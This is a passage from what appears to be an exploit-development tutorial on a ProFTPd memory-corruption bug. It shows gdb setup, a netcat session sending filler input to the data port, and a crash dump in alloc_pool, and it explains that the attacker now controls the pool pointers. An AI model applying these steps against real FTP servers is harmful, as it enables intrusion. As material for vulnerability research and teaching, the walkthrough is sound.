text
stringlengths
0
1.99k
We will do the same with SIGALRM. ProFTPd sends this signal after reaching
the timeout-idle time. So add the following configuration to gdb:
gef➤ handle SIGPIPE pass nostop
gef➤ handle SIGALRM pass nostop
On the shell 3 you will have the following:
$ nc -Cv 127.0.0.1 $((177*256+215))
Connection to 127.0.0.1 45527 port [tcp/*] succeeded!
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW
After sending the WWW line you may have noticed that gdb stopped with a
SIGSEGV signal:
────────────────────────────────────────────────────────── registers ────
$rax: 0x5757575757575757 ("WWWWWWWW"?)
$rbx: 0x00005644eebb8320 → 0x0000000000000002
$rcx: 0x4
$rdx: 0x0
$rsp: 0x00007ffcc3b492a0 → 0x0000000000000043 ("C"?)
$rbp: 0x00007ffcc3b492f0 → 0x00007ffcc3b49310 → 0x00007ffcc3b49340
$rsi: 0x4
$rdi: 0x00005644f0439bd1 → "WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW[...]"
$rip: 0x00005644eeabd5cd → <alloc_pool+99> mov rax, QWORD PTR [rax+0x10]
$r8 : 0x00005644f0408da0 → "Transfer aborted. Data connection closed"
$r9 : 0x00007ffcc3b49100 → 0x0000000000000000
$r10: 0x00005644eeb86d9c → 0xfff6776e00000000
$r11: 0xd
$r12: 0x00005644eeab6c50 → <_start+0> endbr64
$r13: 0x00007ffcc3b49d30 → 0x0000000000000005
$r14: 0x0
$r15: 0x0
──────────────────────────────────────────────────────── code:x86:64 ────
0x5644eeabd5be <alloc_pool+84> add BYTE PTR [rax+0x0], bh
0x5644eeabd5c4 <alloc_pool+90> jmp 0x5644eeabd682 <alloc_pool+280>
0x5644eeabd5c9 <alloc_pool+95> mov rax, QWORD PTR [rbp-0x18]
→ 0x5644eeabd5cd <alloc_pool+99> mov rax, QWORD PTR [rax+0x10]
0x5644eeabd5d1 <alloc_pool+103> mov QWORD PTR [rbp-0x10], rax
0x5644eeabd5d5 <alloc_pool+107> cmp QWORD PTR [rbp-0x40], 0x0
0x5644eeabd5da <alloc_pool+112> jne 0x5644eeabd5f1 <alloc_pool+135>
────────────────────────────────────────────────── source:pool.c+575 ────
570 if (blok == NULL) {
571 errno = EINVAL;
572 return NULL;
573 }
574
// blok=0x00007ffcc3b492d8 → "WWWWWWWW"
→ 575 first_avail = blok->h.first_avail;
576
──────────────────────────────────────────────────────────── threads ────
[#0] ... "proftpd" stopped 0x5644eeabd5cd in alloc_pool (), reason: SIGSEGV
────────────────────────────────────────────────────────────── trace ────
[#0] 0x5644eeabd5cd → alloc_pool(p=0x5644f0439bd1, reqsz=0x4, exact=0x0)
[#1] 0x5644eeabd6b0 → palloc(p=0x5644f0439bd1, sz=0x4)
[#2] 0x5644eeabf409 → pstrdup(p=0x5644f0439bd1, str=0x5644f0408dd0 "426")
[#3] 0x5644eeaeb6f0 → pr_response_set_pool(p=0x5644f0439bd1)
[#4] 0x5644eeab8192 → pr_cmd_dispatch_phase(cmd=0x5644f04381b8, ...)
[#5] 0x5644eeb424e9 → xfer_exit_ev(event_data=0x0, user_data=0x0)
[#6] 0x5644eeb07aed → pr_event_generate(event=0x5644eeb8a4d5 "core.exit"...
[#7] 0x5644eeb08e75 → sess_cleanup(flags=0x0)
[#8] 0x5644eeb08f97 → pr_session_end(flags=0x0)
[#9] 0x5644eeb08f74 → pr_session_disconnect(m=0x0, reason_code=0x2, ...)
─────────────────────────────────────────────────────────────────────────
I've ommited some output, but all the required information by now was
preserved. Looking at the rax register and the assembly line the program
stopped on, we can see that the crash happened with our input. Good! This
show us that we are able to control something. More specifically, we
control the members of p:
gef➤ p *p
$1 = {
first = 0x5757575757575757,
last = 0x5757575757575757,
cleanups = 0x5757575757575757,
sub_pools = 0x5757575757575757,
sub_next = 0x5757575757575757,
sub_prev = 0x5757575757575757,
parent = 0x5757575757575757,
free_first_avail = 0xa0a,
tag = 0x0
}
The crash happened on alloc_pool which we already learned about:
569 blok = p->last;
570 if (blok == NULL) {
571 errno = EINVAL;
572 return NULL;
573 }
574
575 first_avail = blok->h.first_avail;
As we can see above, blok is defined as p->last, which we control.
The crash happened on line 575 when it tried to retrieve the value of